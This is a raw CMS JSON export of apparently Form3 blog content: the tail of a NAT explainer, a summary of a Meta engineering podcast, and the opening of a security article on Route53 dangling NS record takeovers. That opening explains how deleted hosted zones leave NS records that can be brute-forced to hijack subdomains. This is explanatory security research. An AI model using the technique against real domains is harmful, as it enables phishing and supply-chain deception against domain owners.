example, your router has a public IP address on the internet (80.123.123.123), and all of the devices on your local network have local IP addresses (192.168.0.0\u002F24). Whenever network traffic destined for the internet passes through your router, your router modifies the IP packets to use its public IP address as the source IP. When return packets are sent, they are addressed back to your router's public IP address. You router maintains a local mapping of your original IP address on the private network, so that when it receives return packets it can send them back to the correct local IP address. Precisely how the mapping works depends on the type of network traffic being transmitted. In the case of UDP and TCP, this consists of the unique IP address\u002Fport combinations of the source and destination. This combination allows IP packets between the same source and destination IP addresses to be differentiated based on their transport-layer characteristics (e.g. the source\u002Fdestination ports of the TCP connection).",[39367,39368],{"start":847,"end":5321,"type":765},{"start":10310,"end":754,"type":765},"rich_text$0d099708-3100-416b-b310-d187eac3bdb9",{"variation":437,"version":438,"items":39371,"primary":39372,"id":39377,"slice_type":468,"slice_label":5},[],{"body":39373},[39374],{"type":25,"text":39375,"spans":39376},"Network Address Translation can hide private IP addresses from the public internet, and replace them with a single public IP address instead.",[],"rich_text$a213726c-1a98-4872-8096-dd7ff5ed77b4",{"variation":437,"version":438,"items":39379,"primary":39380,"id":39454,"slice_type":468,"slice_label":5},[],{"body":39381},[39382,39385,39388,39391,39394,39397,39400,39404,39410,39413,39416,39420,39424,39428,39431,39435,39438,39444,39447,39451],{"type":746,"text":39383,"spans":39384},"Reasons to use NAT",[],{"type":25,"text":39386,"spans":39387},"There are a variety of reasons you might want to use NAT, including:",[],{"type":1151,"text":39389,"spans":39390},"Preserving IP address space between multiple private networks (and on the internet).",[],{"type":1151,"text":39392,"spans":39393},"Ensuring consistent source IP addresses--your network traffic will always appear to originate from the IP address of the device performing NAT.",[],{"type":1151,"text":39395,"spans":39396},"Ensuring consistent destination IP addresses--your network traffic will always appear to be received at the IP address of the device performing NAT.",[],{"type":25,"text":39398,"spans":39399},"Each of these reasons are explored in more detail below.",[],{"type":25,"text":39401,"spans":39402},"Preserving IP address space",[39403],{"start":398,"end":3485,"type":593},{"type":25,"text":39405,"spans":39406},"IPv4 addresses are limited to 4.3 billion unique addresses, which means that without some kind of solution we would soon suffer from IP address exhaustion. There are a number of solutions to IP address exhaustion--including the introduction of IPv6--but NAT limits the impact of the relatively small size of IPv4 address space.",[39407],{"start":783,"end":4522,"type":489,"data":39408},{"link_type":491,"url":39409,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FIPv4_address_exhaustion",{"type":25,"text":39411,"spans":39412},"If a private network is connected to the internet via NAT, then it doesn't matter how many IP addresses are allocated on the private network, they will only ever use as many public IP addresses as there are routers that NAT traffic.",[],{"type":25,"text":39414,"spans":39415},"It's conventional to use the following IP address spaces for private networks:",[],{"type":1151,"text":39417,"spans":39418},"10.0.0.0\u002F8",[39419],{"start":398,"end":905,"type":765},{"type":1151,"text":39421,"spans":39422},"172.16.0.0\u002F12",[39423],{"start":398,"end":1951,"type":765},{"type":1151,"text":39425,"spans":39426},"192.168.0.0\u002F16",[39427],{"start":398,"end":2987,"type":765},{"type":25,"text":39429,"spans":39430},"Between these IP address ranges, there are more than 17 million private addresses that can be allocated. As a result, NAT allows large private networks to be constructed without exhausting IPv4 space on the public internet.",[],{"type":25,"text":39432,"spans":39433},"Consistent source IP addresses",[39434],{"start":398,"end":3041,"type":593},{"type":25,"text":39436,"spans":39437},"It's often useful to secure access to a system by maintaining an allowlist of IP addresses that are permitted to reach it. This might form the basis of firewall rules that permit inbound traffic into a network. Permitting traffic based on the source IP address of network traffic is difficult if there are a large number of possibilities for that source IP address.",[],{"type":25,"text":39439,"spans":39440},"For example, if you ran machines in your corporate network in 10.0.0.0\u002F8, and you gave your external software vendor this CIDR range to add to their allowlist, it wouldn't be a very restrictive security measure!",[39441,39442],{"start":1029,"end":1797,"type":765},{"start":5102,"end":19498,"type":489,"data":39443},{"link_type":491,"url":39223,"target":493},{"type":25,"text":39445,"spans":39446},"NAT can be a useful technique to mask the IP addresses of your internal systems and ensure a consistent source IP address when connecting to other network resources or external systems. In this instance, NAT is used to translate traffic from private addresses in your internal network so that they appear to have originated from your router's public IP address instead.",[],{"type":25,"text":39448,"spans":39449},"Consistent destination IP addresses",[39450],{"start":398,"end":628,"type":593},{"type":25,"text":39452,"spans":39453},"You might also be in a position where you have a private network resource that you want to expose on a public network. NAT can be used in this instance to translate traffic addressed to your public address to your private addresses instead. This is sometimes referred to as \"port forwarding\", and you might have seen features like this on your home router to expose resources on your local machine (on your private home network) to the internet.",[],"rich_text$b0bc908a-f84c-4b00-9809-4aa5df480546",{"variation":437,"version":438,"items":39456,"primary":39457,"id":39485,"slice_type":468,"slice_label":5},[],{"body":39458},[39459,39462,39465,39469,39472,39475,39478,39482],{"type":746,"text":39460,"spans":39461},"How NAT works",[],{"type":25,"text":39463,"spans":39464},"So, how does NAT actually work? Well, it's simple...and it's not!",[],{"type":25,"text":39466,"spans":39467},"The simple explanation",[39468],{"start":398,"end":7635,"type":593},{"type":25,"text":39470,"spans":39471},"The simple part, is that NAT works by re-writing the source or destination headers in the IP packets based on which way round NAT is being applied to your traffic. In the case where you home router uses NAT to present a single source IP address to the internet, all of your outgoing IP packets have their source IP address changed to match your router's address. That way, return packets can be addressed back to your router over the internet.",[],{"type":25,"text":39473,"spans":39474},"Your router knows it needs to adjust the source IP address of your IP packets, so it keeps a record of your original source IP address. When it receives return packets, it re-writes the destination IP address to match your original address and then forwards the packets over your private network.",[],{"type":25,"text":39476,"spans":39477},"This process is completely transparent to the sender and receiver, and is normally completed by a hardware network device (e.g. a router).",[],{"type":25,"text":39479,"spans":39480},"The not-so-simple explanation",[39481],{"start":398,"end":871,"type":593},{"type":25,"text":39483,"spans":39484},"The less simple part of this process is that source and destination address information isn't just used at the IP level of network transmission. It's also used in TCP and UDP, where it forms part of the message checksum calculations to avoid errors in transmission. This means that the device performing NAT needs to be aware of the higher-level protocols being transmitted in the IP packets. It needs to decode the contents of the IP packet's payload, modify it accordingly, and re-write it so that it still contain valid TCP\u002FUDP packets. When the packets are decoded and passed up the network stack to user space applications, they still appear to contain valid TCP or UDP packets, which have been modified transparently from the point of view of the application.",[],"rich_text$fa47c037-2c7b-412c-9d75-aaef12359e63",{"variation":437,"version":438,"items":39487,"primary":39488,"id":39499,"slice_type":468,"slice_label":5},[],{"body":39489},[39490,39493,39496],{"type":746,"text":39491,"spans":39492},"Where's the code example?",[],{"type":25,"text":39494,"spans":39495},"This whole process is difficult to demonstrate in a simple coding example, because the processing of IP packets is normally handled by the networking stack in an OS, and user space application code typically deals with higher-level abstractions based around TCP and UDP protocols.",[],{"type":25,"text":39497,"spans":39498},"NAT is normally performed by specialised networking devices (like routers), whose sole purpose is to process IP packets and route them to their next network hop.",[],"rich_text$a443a564-f510-47b8-a83d-2934041226c4",{"variation":437,"version":438,"items":39501,"primary":39502,"id":39516,"slice_type":468,"slice_label":5},[],{"body":39503},[39504,39507,39510,39513],{"type":746,"text":39505,"spans":39506},"NAT summary",[],{"type":1151,"text":39508,"spans":39509},"NAT involves re-writing source and destination addresses in IP packets, so that all network traffic from a network appears to have originated from a single IP address.",[],{"type":1151,"text":39511,"spans":39512},"NAT can be used to mask source or destination IP addresses.",[],{"type":1151,"text":39514,"spans":39515},"NAT is a useful way of connecting private and public networks together, whilst still preserving IP address space.",[],"rich_text$4eb09f79-948c-4d2e-9d84-d83d64d1e9c4",{"variation":437,"version":438,"items":39518,"primary":39519,"id":39529,"slice_type":468,"slice_label":5},[],{"body":39520},[39521,39523,39526],{"type":746,"text":29076,"spans":39522},[],{"type":25,"text":39524,"spans":39525},"This blog post has introduced TCP\u002FIP, the Linux networking stack, and how Network Address Translation can be used to connect large networks.",[],{"type":25,"text":39527,"spans":39528},"The second half of this post will continue by covering forward and reverse proxies, before summarising all three techniques.",[],"rich_text$866efae2-9cb1-4583-ab8e-a1b7a96564bf",{"id":39531,"uid":39532,"type":25949,"data":39533},"alz1MREAACoAUWhY","delivering-at-scale-for-meta",{"title":39534,"excerpt":39535,"card_image":39536,"published_date":39541,"reading_time":1130,"tag":25960,"dek":39542,"featured_image":39543,"about_form3":39544,"client_about_heading":5,"client_about_body":39545,"author_name":18970,"author_title":18971,"author_photo":39546,"author_bio":39549,"author_linkedin":39552,"slices":39554,"meta_title":39690,"meta_description":39535},".tech Podcast - Delivering at scale for Meta","Tugberk Ugurlu from Meta gives us a sneak peek into life as a software engineer at one of the biggest software companies in the world. He tells us about engineering culture, writing software at scale, the development ecosystem, programming languages and even... the hiring process!",{"dimensions":39537,"alt":39534,"copyright":5,"url":39538,"id":39539,"edit":39540},{"width":412,"height":412},"\u002F_prismic-media\u002F883a96159a601b1d-MSNezPYNrKEpVBQQ_delivering-at-scale-for-meta.pn","MSNezPYNrKEpVBQQ",{"x":398,"y":398,"zoom":399,"background":400},"2022-03-28","Tugberk Ugurlu from Meta gives us a sneak peek into life as a software engineer at one of the biggest software companies in the world. He tells us about engineering culture, writing software at scale, the development ecosystem, programming languages and even... the hiring process!\n\nTugberk joined Meta in April 2021. He joined the London office, but is working from home, as many of us nowadays. He is a part of the Catalog Platform group, which is responsible for business product catalogs on Instagram and Facebook. Their team takes care of data flow, storage and scalability of this important feature.",{},[],[],{"dimensions":39547,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":39548},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[39550],{"type":25,"text":25971,"spans":39551},[],{"link_type":491,"key":39553,"url":25975,"target":493},"5fb44dfe-4eab-447f-b43d-a70e94d5bb9b",[39555,39575,39604,39621,39647,39673],{"variation":437,"version":527,"items":39556,"primary":39557,"id":39574,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":39558,"body":39562,"cta_label":10704,"cta_link":39565,"aside_type":5,"aside_image":39568,"aside_video":39569,"aside_video_poster":39570,"aside_video_reduced_motion":39571,"aside_video_url":5,"aside_embed":39572,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":39573,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[39559],{"type":746,"text":39560,"spans":39561},"Ep 28 .tech - Delivering at scale for Meta",[],[39563],{"type":25,"text":10702,"spans":39564},[],{"link_type":491,"key":39566,"url":39567},"9270cf0a-2e94-4e7c-b919-8b2d228a4121","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-28-tech-delivering-at-scale-for-meta-mPGLHDnG",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$574ad216-7a24-43e4-8c58-bc0caa8dcf48",{"variation":437,"version":438,"items":39576,"primary":39577,"id":39603,"slice_type":468,"slice_label":5},[],{"body":39578},[39579,39582,39588,39591,39594,39597],{"type":746,"text":39580,"spans":39581},"Engineering culture",[],{"type":25,"text":39583,"spans":39584},"Meta has a \"bottom up\" culture: engineers have a lot of input into the planning process and they are trusted to make their own decisions.",[39585],{"start":602,"end":3041,"type":489,"data":39586},{"link_type":491,"url":39587,"target":493},"https:\u002F\u002Fwww.metacareers.com\u002Flife\u002Fleading-a-team\u002F",{"type":25,"text":39589,"spans":39590},"All of the products engineers develop work for incredible scale, so the tooling that Meta engineers have available to them has been designed with this in mind. This supports Meta engineers to focus on the problems they are trying to solve, rather than getting generic solutions in place. Great tooling reduces lead time and keeps engineers happy as well.",[],{"type":25,"text":39592,"spans":39593},"Organisationally, teams decide for themselves how to structure and support their work to best serve their work and goals. Tugberk's team works on two-week sprints and work is based on goals that the team has defined already. There is also a company wide \"better engineering\" initiative which allows engineers to spend 20% of their time to improve existing services. This allows teams to schedule in maintenance and tech debt work.",[],{"type":25,"text":39595,"spans":39596},"Recognition is a key part of engineering culture as well. Tooling is set up for engineering recognition as well, allowing teams to give props and thanks to each other publicly, in a company wide forum or feed. \"Better engineering\" champions are team members that have been working hard on their team's service maintenance.",[],{"type":25,"text":39598,"spans":39599},"Internally, Meta uses Workplace, which is a modified version of Facebook for all their communication and collaboration. There are like\u002Freaction buttons on everything, including pull requests, allowing teams to send each other Gifs and other fun messages.",[39600],{"start":7635,"end":690,"type":489,"data":39601},{"link_type":491,"url":39602,"target":493},"https:\u002F\u002Fabout.facebook.com\u002Ftechnologies\u002Fworkplace\u002F","rich_text$96ac787b-a5b2-4160-b444-721a37322885",{"variation":437,"version":438,"items":39605,"primary":39606,"id":39620,"slice_type":468,"slice_label":5},[],{"body":39607},[39608,39611,39614,39617],{"type":746,"text":39609,"spans":39610},"Writing software for scale",[],{"type":25,"text":39612,"spans":39613},"In terms of volume, most of the traffic Meta works at is in the billions. This is where the great tooling really makes a difference. All of the services, databases and pipelines are built for the scale first.",[],{"type":25,"text":39615,"spans":39616},"Teams have some building blocks that are already designed to be scalable, which they can leverage in their work. Scale, replication, sharding and logging are things that teams don't have to think about, as they are already in place. It may seem daunting at first to deal with such a large scale system, but on the other hand really efficient tools are provided to help solve these problems.",[],{"type":25,"text":39618,"spans":39619},"On the code level, even small performance improvements have the potential to save the company millions of dollars. Thinking about the data patterns is key to pipelines at Meta. Optimising reads and writes, choosing tradeoffs in consistency and throttling are all things engineers will need to consider during their work.",[],"rich_text$bf9908c1-e355-432e-b976-b8c4355163f0",{"variation":437,"version":438,"items":39622,"primary":39623,"id":39646,"slice_type":468,"slice_label":5},[],{"body":39624},[39625,39628,39634,39637,39640,39643],{"type":746,"text":39626,"spans":39627},"Development ecosystem",[],{"type":25,"text":39629,"spans":39630},"Source control for repositories is a purpose built Mercurial version. Code is organised into 4 or 5 monorepos that are used across the teams. Thousands of commits go into these repos every hour from around the globe. The swap from Git to Mercurial took a little while for Tugberk, but he's used to it now.",[39631],{"start":846,"end":9232,"type":489,"data":39632},{"link_type":491,"url":39633,"target":493},"https:\u002F\u002Fengineering.fb.com\u002F2014\u002F01\u002F07\u002Fcore-data\u002Fscaling-mercurial-at-facebook\u002F",{"type":25,"text":39635,"spans":39636},"Engineers use a purpose built version of VSCode. From there, they can connect to a remote, on demand, dedicated server. The monorepo code will be on the server once it is ready, allowing engineers to search through the code.",[],{"type":25,"text":39638,"spans":39639},"Builds are also optimised to only rebuild the parts that have been modified, instead of rebuilding an entire system, which would be time consuming and expensive.",[],{"type":25,"text":39641,"spans":39642},"Releases propagate through the system in around 5 to 6 hours, using canary releases and rollbacks in case of issues. They make use of feature flags to release new features to employees first, to test out and get feedback on.",[],{"type":25,"text":39644,"spans":39645},"All of the internal tooling is purpose built for the incredible scale that Meta work at.",[],"rich_text$fc1fc5d4-f651-42f1-b708-bb46b00cf741",{"variation":437,"version":438,"items":39648,"primary":39649,"id":39672,"slice_type":468,"slice_label":5},[],{"body":39650},[39651,39654,39660,39663,39669],{"type":746,"text":39652,"spans":39653},"Programming languages",[],{"type":25,"text":39655,"spans":39656},"All backend systems are written in the Hack programming language, which is a PHP based language developed by Meta. There is also some C++ and Python, as well as Rust and Go for some smaller projects.",[39657],{"start":4219,"end":4083,"type":489,"data":39658},{"link_type":491,"url":39659,"target":493},"https:\u002F\u002Fhacklang.org\u002F",{"type":25,"text":39661,"spans":39662},"Hack has similar concepts to C#, like static typing and async\u002Fawait. It was developed by teams at Facebook to address some of the scalability issues of the original\u002Flegacy PHP code.",[],{"type":25,"text":39664,"spans":39665},"Instead of rewriting the whole codebase into something faster like C++, they opted to replace the underlying PHP virtual machine (VM) with a faster, custom written VM in C++, called HHVM.",[39666],{"start":18514,"end":13599,"type":489,"data":39667},{"link_type":491,"url":39668,"target":493},"https:\u002F\u002Fhhvm.com\u002F",{"type":25,"text":39670,"spans":39671},"After understanding the key concepts, Tugberk now finds it easy and natural to write code in Hack.",[],"rich_text$362ce1b0-40b8-4abf-b75d-ff8e4fa95df4",{"variation":437,"version":438,"items":39674,"primary":39675,"id":39689,"slice_type":468,"slice_label":5},[],{"body":39676},[39677,39680,39683,39686],{"type":746,"text":39678,"spans":39679},"Hiring process",[],{"type":25,"text":39681,"spans":39682},"Depending on the level of the role, there will be a few live coding interviews to test coding and problem solving skills. The coding environment doesn't auto-complete or compile the code during the interview. The candidate can use any language they want. The interviewer doesn't actually care if the solution will compile, they are only interested in problem breakdown, general approach and ability to learn.",[],{"type":25,"text":39684,"spans":39685},"The coding interviews are followed up by one or more system design interviews, as well as a behavioural interview. The behavioural interview assesses communication skills and growth mindset.",[],{"type":25,"text":39687,"spans":39688},"Meta values core skills and ability to learn, not previous experience with particular technologies. This way of interviewing line up with our values at Form3 as well.",[],"rich_text$d441fa85-bc8b-4194-8fcd-61669ac1cbd2","Delivering at scale for Meta",{"id":39692,"uid":39693,"type":25949,"data":39694},"alz0ohEAACoAUWY8","dangling-danger",{"title":39695,"excerpt":39696,"card_image":39697,"published_date":39702,"reading_time":905,"tag":25960,"dek":39703,"featured_image":39704,"about_form3":39710,"client_about_heading":5,"client_about_body":39711,"author_name":39712,"author_title":39713,"author_photo":39714,"author_bio":39719,"author_linkedin":39723,"slices":39726,"meta_title":39695,"meta_description":39696},"Dangling Danger: Route53's Flawed Dangling NS Record Protection","A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.",{"dimensions":39698,"alt":39695,"copyright":5,"url":39699,"id":39700,"edit":39701},{"width":412,"height":412},"\u002F_prismic-media\u002F72aed5750a0a36d7-9zWrpK3D8_sC7Meg_dangling-danger.jpg","9zWrpK3D8_sC7Meg",{"x":398,"y":398,"zoom":399,"background":650},"2023-10-27","A subdomain takeover is a class of attack in which an adversary is able to serve unauthorized content from victim's domain name. It can be used for phishing, supply chain compromise, and other forms of attacks which rely on deception. You might've heard about CNAME based or NS based subdomain takeovers.While classic DNS takeovers are becoming harder and harder to execute as vendors implement better protection against them, there are still novel attack techniques to be discovered. In this article we'll explore a dangling record protection bypass on AWS's Route53 service.This blog post should accommodate people with different experience levels, feel free to skip a few sections if you understand the classic DNS takeovers on Route53.",{"dimensions":39705,"alt":39706,"copyright":5,"url":39707,"id":39708,"edit":39709},{"width":2532,"height":10918},"Domain, Record & Value table","\u002F_prismic-media\u002F2032471280d43172-YAW3DgO2oI2B9zRn_f64b6dba-b152-46d6-a33e-7939d0c.svg","YAW3DgO2oI2B9zRn",{"x":398,"y":398,"zoom":399,"background":650},[],[],"Maciej Mionskowski","Offensive Security Engineer",{"dimensions":39715,"alt":39712,"copyright":5,"url":39716,"id":39717,"edit":39718},{"width":5080,"height":26955},"\u002F_prismic-media\u002Fc95cdd1f6c30363a-jOxXfOcm1e30g6mY_1b7a4303-9ca7-4477-af48-eed77e4.jpg","jOxXfOcm1e30g6mY",{"x":398,"y":398,"zoom":399,"background":650},[39720],{"type":25,"text":39721,"spans":39722},"Maciej is an Offensive Security Engineer at Form3. Transitioning from a background in Platform and Software Engineering, he thrives on challenges that push the boundaries of his expertise. Outside of work, he's passionate about sailing, rock climbing, and playing board games.",[],{"link_type":491,"key":39724,"url":39725,"target":493},"7277e9c9-eba4-41fd-a165-2cdc6a56426b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmionskowski\u002F",[39727,39742,39757,39767,39784,39798,39806,39832,39840,39851,39866,39874,39891,39904,39912,39926,39943,39954,39985,39999,40010,40027,40035,40054,40071,40079,40087,40100,40108,40116,40124,40132,40146,40168],{"variation":437,"version":438,"items":39728,"primary":39729,"id":39741,"slice_type":468,"slice_label":5},[],{"body":39730},[39731,39734,39737],{"type":746,"text":39732,"spans":39733},"What are NS records",[],{"type":25,"text":39735,"spans":39736},"A Name Server (NS) record describes the DNS server that contains actual DNS records for a given domain, later referred to as an authoritative nameserver (aNS).",[],{"type":25,"text":39738,"spans":39739},"Consider the following record in the example.com. DNS zone:",[39740],{"start":846,"end":2868,"type":593},"rich_text$5f9e0d17-059d-4ed1-ab7f-81aeec97b3ef",{"variation":437,"version":527,"items":39743,"primary":39744,"id":39756,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":39745,"body":39746,"cta_label":5,"cta_link":39747,"aside_type":533,"aside_image":39748,"aside_video":39751,"aside_video_poster":39752,"aside_video_reduced_motion":39753,"aside_video_url":5,"aside_embed":39754,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":39755,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":39749,"alt":39706,"copyright":5,"url":39707,"id":39708,"edit":39750},{"width":2532,"height":10918},{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$07308cce-bf36-4503-b770-4b07f52b12a8",{"variation":437,"version":438,"items":39758,"primary":39759,"id":39766,"slice_type":468,"slice_label":5},[],{"body":39760},[39761],{"type":25,"text":39762,"spans":39763},"And the following record in the sub.example.com. zone hosted behind ns-240.awsdns-30.com:",[39764,39765],{"start":5489,"end":5490,"type":593},{"start":9232,"end":3290,"type":593},"rich_text$05ef6281-d453-4b12-8e32-95094f952369",{"variation":437,"version":527,"items":39768,"primary":39769,"id":39783,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":39770,"body":39771,"cta_label":5,"cta_link":39772,"aside_type":533,"aside_image":39773,"aside_video":39778,"aside_video_poster":39779,"aside_video_reduced_motion":39780,"aside_video_url":5,"aside_embed":39781,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":39782,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":39774,"alt":39706,"copyright":5,"url":39775,"id":39776,"edit":39777},{"width":2532,"height":10918},"\u002F_prismic-media\u002Fe5526846c41a1479-1MTJBQmD_lAyI7jC_98ffb791-499e-4721-9b5d-069d5bc.svg","1MTJBQmD_lAyI7jC",{"x":398,"y":398,"zoom":399,"background":650},{"link_type":536},{},{},{},{"link_type":542},"content_block$c6f72cba-7472-406c-ba3d-f1255a8b3097",{"variation":437,"version":438,"items":39785,"primary":39786,"id":39797,"slice_type":468,"slice_label":5},[],{"body":39787},[39788,39793],{"type":25,"text":39789,"spans":39790},"If you try to resolve any record in sub.example.com. the DNS resolver will contact ns-240.awsdns-30.com (aNS) to fetch the records.",[39791,39792],{"start":3852,"end":1251,"type":593},{"start":28611,"end":3886,"type":593},{"type":25,"text":39794,"spans":39795},"We can observe that if we run dig +trace A sub.example.com",[39796],{"start":3041,"end":9203,"type":593},"rich_text$7cf58196-6d88-4e8a-a26a-b339fd7fb556",{"variation":437,"version":438,"items":39799,"primary":39800,"id":39805,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39801},[39802],{"type":27922,"text":39803,"spans":39804},"$ dig +trace A sub.example.com\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> +trace A sub.example.com\n;; global options: +cmd\n.                       30      IN      NS      c.root-servers.net.\n.                       30      IN      NS      l.root-servers.net.\n\u003Csnip>\n;; Received 525 bytes from 127.0.0.1#53(127.0.0.1) in 91 ms\n\ncom.                    172800  IN      NS      a.gtld-servers.net.\ncom.                    172800  IN      NS      k.gtld-servers.net.\n\u003Csnip>\n;; Received 1182 bytes from 193.0.14.129#53(k.root-servers.net) in 62 ms\n\nexample.com.     172800  IN      NS      ns-1790.awsdns-31.co.uk.\nexample.com.     172800  IN      NS      ns-1392.awsdns-46.org.\n\u003Csnip>\n;; Received 753 bytes from 192.5.6.30#53(a.gtld-servers.net) in 41 ms\n\nsub.example.com. 300     IN      NS      ns-240.awsdns-30.com.\n;; Received 348 bytes from 205.251.197.112#53(ns-1392.awsdns-46.org) in 43 ms\n\nsub.example.com. 300     IN      A       127.0.0.1\n;; Received 185 bytes from 205.251.192.240#53(ns-240.awsdns-30.com) in 40 ms",[],"code_block$d9c01425-ec61-4a3d-9506-30af0c964778",{"variation":437,"version":438,"items":39807,"primary":39808,"id":39831,"slice_type":468,"slice_label":5},[],{"body":39809},[39810,39813,39817,39822],{"type":746,"text":39811,"spans":39812},"What is a dangling NS record",[],{"type":25,"text":39814,"spans":39815},"A dangling NS record (label NS nameserver) is a NS record that either:",[39816],{"start":7635,"end":1977,"type":593},{"type":3373,"text":39818,"spans":39819},"(1) points to a non existing nameserver (e.g. sub.example.com NS ns.expired-domain.com) or",[39820,39821],{"start":871,"end":4219,"type":593},{"start":9202,"end":5397,"type":593},{"type":3373,"text":39823,"spans":39824},"(2) points to a nameserver that does not have the label zone configured, e.g. sub.example.com NS ns-1790.awsdns-31.co.uk where queries for sub.example.com to that nameserver are REFUSED",[39825,39826,39827,39828,39829],{"start":2477,"end":5574,"type":593},{"start":2971,"end":3853,"type":593},{"start":9216,"end":5702,"type":593},{"start":9287,"end":4522,"type":593},{"start":3045,"end":39830,"type":593},185,"rich_text$4650bb76-a8bf-4da1-828a-ec0795a03111",{"variation":437,"version":438,"items":39833,"primary":39834,"id":39839,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39835},[39836],{"type":27922,"text":39837,"spans":39838},"dig sub.example.com @ns-1790.awsdns-31.co.uk\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> sub.example.com @ns-1790.awsdns-31.co.uk\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER\u003C\u003C- opcode: QUERY, status: REFUSED, id: 2694",[],"code_block$9cd9b44e-7e06-4441-8911-43feb04ed863",{"variation":437,"version":438,"items":39841,"primary":39842,"id":39850,"slice_type":468,"slice_label":5},[],{"body":39843},[39844,39847],{"type":25,"text":39845,"spans":39846},"It's worth noting that any dangling NS records are undesired and should be treated as misconfiguration.",[],{"type":25,"text":39848,"spans":39849},"In this article we will focus on the second scenario in the context of Route53\u002FAWS name servers.",[],"rich_text$86d54f14-7f11-42fc-aa50-0924c5361468",{"variation":437,"version":438,"items":39852,"primary":39853,"id":39865,"slice_type":468,"slice_label":5},[],{"body":39854},[39855,39858,39862],{"type":746,"text":39856,"spans":39857},"How could you perform a subdomain takeover in Route53",[],{"type":25,"text":39859,"spans":39860},"When a hosted zone is created in Route53 it's assigned a set of name servers from a shared pool.",[39861],{"start":5321,"end":3885,"type":593},{"type":25,"text":39863,"spans":39864},"e.g.",[],"rich_text$0174a2d8-c41d-4465-baac-bd4053661908",{"variation":437,"version":438,"items":39867,"primary":39868,"id":39873,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39869},[39870],{"type":27922,"text":39871,"spans":39872},"Hosted zone name\nsub.example.com\n\nName servers\nns-1881.awsdns-43.co.uk\nns-2.awsdns-00.com\nns-1190.awsdns-20.org\nns-734.awsdns-27.net",[],"code_block$65d764bc-2fd5-458f-9097-6bee9a696d7d",{"variation":437,"version":438,"items":39875,"primary":39876,"id":39890,"slice_type":468,"slice_label":5},[],{"body":39877},[39878,39882,39886],{"type":25,"text":39879,"spans":39880},"The format of the nameservers that are assigned follows ns-{id}.awsdns-{id2}.{domain} pattern, where:",[39881],{"start":4889,"end":5397,"type":593},{"type":3373,"text":39883,"spans":39884},"{id} is a number between 0 and 2048",[39885],{"start":398,"end":4603,"type":593},{"type":3373,"text":39887,"spans":39888},"{id2} is a two-digit number between 00 and 64.",[39889],{"start":398,"end":643,"type":593},"rich_text$148994f5-fbea-405d-9431-c587268c6897",{"variation":437,"version":438,"items":39892,"primary":39893,"id":39903,"slice_type":468,"slice_label":5},[],{"body":39894},[39895,39898],{"type":25,"text":39896,"spans":39897},"Note, that only a subset of all combinations are used.",[],{"type":25,"text":39899,"spans":39900},"Usually, you would reference the sub.example.com nameservers in your example.com hosted zone like this:",[39901,39902],{"start":9077,"end":5490,"type":593},{"start":3397,"end":3872,"type":593},"rich_text$52a7e812-05e5-4476-92a3-72a062a006ca",{"variation":437,"version":438,"items":39905,"primary":39906,"id":39911,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":39907},[39908],{"type":27922,"text":39909,"spans":39910},"sub.example.com.\t300\tIN\tNS\tns-1881.awsdns-43.co.uk.\nsub.example.com.\t300\tIN\tNS\tns-2.awsdns-00.com.\nsub.example.com.\t300\tIN\tNS\tns-1190.awsdns-20.org.\nsub.example.com.\t300\tIN\tNS\tns-734.awsdns-27.net.",[],"code_block$7649fb84-9042-4bbe-86d3-04dac9dffb9a",{"variation":437,"version":438,"items":39913,"primary":39914,"id":39925,"slice_type":468,"slice_label":5},[],{"body":39915},[39916,39921],{"type":25,"text":39917,"spans":39918},"Now, what happens if sub.example.com. zone is deleted, but the NS records in example.com. are not?",[39919,39920],{"start":703,"end":846,"type":593},{"start":855,"end":9315,"type":593},{"type":25,"text":39922,"spans":39923},"There are dangling nameserver records left which anyone could register a sub.example.com. zone against (using brute force) and perform a subdomain hijack.",[39924],{"start":3089,"end":9315,"type":593},"rich_text$a88ab375-d181-4572-9940-86eb02538381",{"variation":437,"version":527,"items":39927,"primary":39928,"id":39942,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":39929,"body":39930,"cta_label":5,"cta_link":39931,"aside_type":533,"aside_image":39932,"aside_video":39937,"aside_video_poster":39938,"aside_video_reduced_motion":39939,"aside_video_url":5,"aside_embed":39940,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":39941,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":39933,"alt":5,"copyright":5,"url":39934,"id":39935,"edit":39936},{"width":19778,"height":2532},"\u002F_prismic-media\u002Fd6341568de6baee3-lLnwc0Rn5HY9otZ1_e7015fc5-9ce6-4a6d-b047-2b436a4.png","lLnwc0Rn5HY9otZ1",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$499d2366-0c2d-41d5-9ba3-a5d55ab69f8b",{"variation":437,"version":438,"items":39944,"primary":39945,"id":39953,"slice_type":468,"slice_label":5},[],{"body":39946},[39947]